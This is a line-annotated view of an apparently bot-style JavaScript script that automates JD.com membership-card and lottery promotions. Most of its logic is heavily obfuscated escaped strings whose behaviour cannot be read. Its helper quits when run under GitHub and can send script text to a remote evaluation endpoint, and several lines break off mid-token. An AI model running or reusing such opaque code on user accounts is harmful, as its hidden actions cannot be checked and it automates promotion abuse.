2024-11-12 11:17:55 +08:00
|
|
|
|
/*
|
|
|
|
|
不会自动运行,请在有水的时候运行
|
|
|
|
|
|
|
|
|
|
//export jd_opencard_jdDraw="true" //true 开启抽奖,false 关闭抽奖
|
|
|
|
|
//export jd_opencard_break="true" //IP限制后继续执行(true/false)
|
|
|
|
|
|
|
|
|
|
cron:1 1 1 1 *
|
|
|
|
|
|
|
|
|
|
*/
|
|
|
|
|
|
2024-12-16 19:51:07 +08:00
|
|
|
|
const $ = new Env('12.16-1.11 宝宝的第一片尿裤“京东免费送”')
|
|
|
|
|
function ipUzAWE(){}var E2Cnia4=Object['\u0064\u0065\u0066\u0069\u006e\u0065\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079'],kVbm6YI,HyOhY15,hNQfQl,BkPeJjB,KLFOJt,VuRKp5,VbtGtS9,sAUBDwQ,qsG6ge,ftTjwU,Udk1c7,W9ctPx,sRYj1Z,u4FKlV,b3opHe,tGRmEs,hRJAt0h,H8zu6H,KYBusD,WwEfAOJ;function GayGhOq(ipUzAWE){return kVbm6YI[ipUzAWE>-0x1?ipUzAWE<0x9c?ipUzAWE-0x0:ipUzAWE+0x9:ipUzAWE-0x60]}ipUzAWE(kVbm6YI=U3dlPn(),HyOhY15=pa_fKJ((ipUzAWE,E2Cnia4)=>{return E2Cnia4(ipUzAWE())},0x2)(c8Uhst,iRB7ve));var NomIAaC=[],zDgidmK=['\u006b\u003b\u0078\u0032\u006d\u0075\u007b\u006f','\u0029\u003a\u0045\u007c\u0059\u0028\u002b\u006f',URQEBBR(0x0),'h|g[>=qA',URQEBBR(GayGhOq(0x18)),URQEBBR(0x2),'\u0071\u006a\u0065\u0042\u004b\u007b\u003b\u007d\u007a\u0065\u0021\u0060\u0039\u0045\u007a','\x51\x51\x4c\x5e\x5b\x58\x57\x2a\x72\x43\x63\x4b\x4e\x22\x62\x29\x33\x60',URQEBBR(GayGhOq(0x27)),'\x4d\x5d\x31\x73\x3e',URQEBBR(0x4),'\u0055\u0021\u0064\u0031\u0038\u0066\u002b\u003b\u007d\u0025\u007c\u002e\u0075\u004d\u003d\u006f\u0078\u0051\u0041\u006a\u0022','\x55\x21\x64\x31\x38\x66\x2b\x3b\x7d\x25\x7c\x2e\x75\x4d\x24\x55\x7d\x35\x3e\x42\x6f\x37\x7b',URQEBBR(GayGhOq(0x2a)),URQEBBR(GayGhOq(0x1b)),'\x60\x4c\x7d\x44\x51\x44\x54\x56\x29\x75',URQEBBR(GayGhOq(0x1e)),URQEBBR(GayGhOq(0x25)),'\u003a\u0051\u0076\u007c\u0048','\x60\x5f\x3b\x56','\x29\x22\x61\x56\x73\x44\x4c\x2a','[BZV',URQEBBR(GayGhOq(0x93)),'\x70\x2a\x43\x35\x75\x63\x5d\x59\x2b\x48\x74\x54\x4d\x75\x44\x3f\x35\x23\x2c\x59\x2b\x46\x3b\x4d\x3e\x58\x73\x3a\x6f\x29\x63\x4f\x51\x73\x2e\x5e\x3e',URQEBBR(GayGhOq(0x21)),GayGhOq(0x1),URQEBBR(GayGhOq(0x2c)),'lsondQy^Af|K>=r?XpjnSf:{`x.ce:Qgm~4|7pf54uG>atKI8S',URQEBBR(GayGhOq(0x1c)),GayGhOq(0x0),URQEBBR(0xd),'\u0039\u006d\u0040\u0072\u0073\u007c\u0026\u0077\u005d\u0077\u0042\u0069\u0060',GayGhOq(0x0),URQEBBR(GayGhOq(0x20)),'\u0031\u0076\u0042\u006a\u002c\u0079\u0069\u002a','\u002b\u0075\u0068\u0047\u0055\u0044\u003c\u005a\u0023\u0029\u0043\u006a\u0021\u0072\u0071\u0070\u0022\u003f\u002b\u004a\u0060\u0029\u006c\u0053\u0077\u004a\u0034\u0035\u0070\u0062\u0063\u003f\u0045\u0060\u0044\u004e\u006c\u0022\u0040\u007c\u0035\u002e\u0074\u0032\u0047\u0030\u0028\u003d\u002b\u0051\u004b\u0035\u0076\u0045\u002c\u0057\u006f\u0029\u0044\u0066\u0059\u007b','LVRs>M0nJ#4]`','\u003a\u0030\u0074\u006a\u006a\u0047\u002c\u0074\u006d\u003d\u005f\u0066\u0045\u006e\u0062\u006f\u007c\u002e\u0058\u005f\u004a\u0029\u004d\u0026\u004b\u0042\u0075\u005d\u005b\u0036\u004a\u0076\u002a\u0042\u0021\u005e\u0065','\u002e\u0074\u0069\u003d\u005e\u0044\u007b\u0033\u0071\u0067\u0054','9m@rs|&w]wBi`','LVRs>M0nJ#E.(_','\u0022\u002f\u0043\u0042\u0063\u0030\u006e\u002a','B"@r3D{','\u0037\u002a\u005f\u003e\u0079','2"dp6?e7','\u0059\u0043\u002c\u002b\u0042\u002e\u007c','\x2c\x22\x52\x70\x3c\x36\x2c\x33\x59\x58\x28','\u0021\u0034\u002e\u004f\u0022\u006a\u0079\u0069\u0069\u0048','\u0067\u0051\u004b\u0058\u003a\u007c\u0033\u007e\u0071\u002c\u0070\u005e\u0022\u0071\u0022\u006c\u0072\u0060','\u0038\u0057\u0021\u006f\u0074\u0035\u007d\u0037',URQEBBR(0xf),URQEBBR(0x10),'\u005e\u0077\u007d\u002b\u0070\u003f\u0064\u0037',URQEBBR(0x11),URQEBBR(0x12),'\u0060\u0025\u003c\u006a\u0050\u0053\u0023\u003d\u002f','\x7e\x46\x73\x3e\x79\x26\x35\x4e\x44\x5e\x24\x45\x67\x2a',URQEBBR(0x13),'\u002f\u002a\u0033\u0046\u002b\u0036\u007a\u0037',URQEBBR(0x14),'\u0024\u007e\u0021\u003e\u0041\u0070\u0024\u0061\u0077\u0061\u0052\u0049\u007b\u004a\u005d\u0043',URQEBBR(0x15),'\u0064\u0034\u004b\u0058\u0049\u0024\u007b','\u0026\u002f\u0042\u005e\u004a\u003b\u004c\u002a','\u0029\u0022\u0077\u0073\u0057\u006a\u0060\u003d\u0041',URQEBBR(GayGhOq(0x2e)),URQEBBR(0x17),URQEBBR(GayGhOq(0xa)),URQEBBR(GayGhOq(0x30)),'p)1ZA0a38','\u0063\u002f\u0062\u005e\u0036\u0058\u007b','\u0067\u0022\u007e\u0056',URQEBBR(GayGhOq(0x2f)),'\u0025\u0041\u004a\u006d\u004a\u002f\u005a\u0076\u005e\u0047','\u004c\u0056\u004b\u0058\u002f\u003b\u007b\u0033\u0071\u0067\u0054','>!&b','\u0048\u003f\u004d\u0055\u0026\u006f\u0033\u005e\u004b\u007c\u002b\u007a\u003d\u0067\u007e\u003b\u0067\u0041\u002e\u0059\u0051\u006f\u0044\u0045\u0052\u006e\u0026\u0052\u0078\u0077\u0045\u006b\u004f\u006
|
|
|
|
|
|
2024-11-12 11:17:55 +08:00
|
|
|
|
// prettier-ignore
|
|
|
|
|
function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.d
|